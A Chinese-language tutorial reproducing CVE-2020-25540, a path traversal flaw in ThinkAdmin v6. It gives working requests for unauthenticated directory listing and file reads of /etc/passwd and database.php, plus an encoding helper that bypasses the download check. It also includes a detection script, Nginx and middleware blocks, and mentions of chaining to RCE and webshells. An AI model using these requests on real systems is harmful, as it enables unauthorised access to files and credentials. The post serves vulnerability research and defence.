ThinkAdmin v6路径遍历漏洞实战:从环境搭建到PoC编写,手把手教你复现CVE-2020-25540

发布时间:2026/5/22 14:27:21

ThinkAdmin v6路径遍历漏洞实战:从环境搭建到PoC编写,手把手教你复现CVE-2020-25540 ThinkAdmin v6路径遍历漏洞深度解析与实战复现指南漏洞背景与核心原理ThinkAdmin作为基于ThinkPHP的后台管理系统框架曾在v6版本存在一个典型的路径遍历漏洞CVE-2020-25540。这个漏洞的本质在于未对用户输入的路径参数进行充分校验导致攻击者可以通过构造特殊请求实现未授权访问服务器文件系统。漏洞的核心触发点位于app/admin/controller/api/Update.php文件中的三个未授权访问方法。其中node()方法直接将用户可控的rules和ignore参数传递给InstallService::instance()-getList()而该方法内部通过_scanList()递归遍历目录时未做安全限制。更危险的是get()方法它通过decode(input(encode))获取用户传入的文件路径虽然存在checkAllowDownload()检查机制但通过路径穿越技巧仍可绕过限制。环境搭建全流程1. 基础环境准备复现该漏洞需要以下基础组件PHP 7.0.1或更高版本ComposerPHP依赖管理工具MySQL数据库用于系统数据存储Windows环境配置步骤下载并安装PHP for Windows配置PHP环境变量下载Composer-Setup.exe并安装执行以下命令配置国内镜像加速composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/2. ThinkAdmin v6漏洞版本安装由于官方仓库已修复此漏洞我们需要通过Composer指定版本安装composer create-project zoujingli/think-admin2020.08.03.00 thinkadmin-vulnerable cd thinkadmin-vulnerable安装完成后需要手动配置数据库创建MySQL数据库修改config/database.php配置文件导入初始SQL文件通常位于public/install.sql启动开发服务器php think run -p 8080注意实际漏洞复现建议在隔离的虚拟机或Docker环境中进行避免对真实系统造成影响。漏洞复现详细步骤1. 目录遍历漏洞利用通过node接口可以未授权列举服务器目录结构请求示例POST /admin.html?sadmin/api.Update/node HTTP/1.1 Host: localhost:8080 Content-Type: application/x-www-form-urlencoded rules[/]ignore[]响应分析{ code: 200, info: 获取文件列表成功, data: { rules: [/], ignore: [], list: [ { name: config/database.php, hash: d41d8cd98f00b204e9800998ecf8427e }, // 其他文件列表... ] } }2. 任意文件读取漏洞利用通过get接口可以读取服务器上的文件内容但受到checkAllowDownload()限制。我们需要构造特殊路径绕过限制文件路径编码工具function encodePath($path) { $chars ; $gbk iconv(UTF-8, GBK//TRANSLIT, $path); for ($i 0; $i strlen($gbk); $i) { $chars . str_pad(base_convert(ord($gbk[$i]), 10, 36), 2, 0, 0); } return $chars; }读取/etc/passwd示例GET /admin.html?sadmin/api.Update/getencode?php echo encodePath(public/static/../../../etc/passwd); ? HTTP/1.1 Host: localhost:8080Windows环境下绕过database.php限制GET /admin.html?sadmin/api.Update/getencode?php echo encodePath(public/static/../../config/databasephp); ? HTTP/1.1漏洞修复方案官方在2020年8月3日发布的更新中修复了此漏洞主要措施包括对Update控制器添加了权限验证在getList()方法中增加了路径合法性检查强化了checkAllowDownload()的过滤规则升级建议composer require zoujingli/think-admin:^2020.08.03.01防御措施与最佳实践对于无法立即升级的系统可采取以下临时防护措施在Nginx/Apache配置中添加规则拦截可疑请求location ~* ^/admin\.html\?sadmin/api\.Update/(node|get) { deny all; }修改中间件验证逻辑// 在app/admin/middleware.php中添加 return function ($request, $next) { if (strpos($request-param(s), admin/api.Update) ! false) { return json([code 403, msg Access denied]); } return $next($request); };文件系统权限最小化原则Web用户仅对必要目录有读取权限敏感配置文件设置为600权限禁用PHP危险函数如exec,system等漏洞研究进阶方向自动化检测工具开发import requests def check_thinkadmin_vuln(url): try: r requests.post( f{url}/admin.html?sadmin/api.Update/node, data{rules: [\/\], ignore: []}, timeout5 ) return r.status_code 200 and 获取文件列表成功 in r.text except: return False漏洞利用链扩展研究结合其他漏洞实现RCE通过读取日志文件获取敏感信息利用路径穿越写入Webshell类似框架的审计方法检查未授权访问的API接口验证文件操作函数的安全性跟踪用户输入的传递过程

相关新闻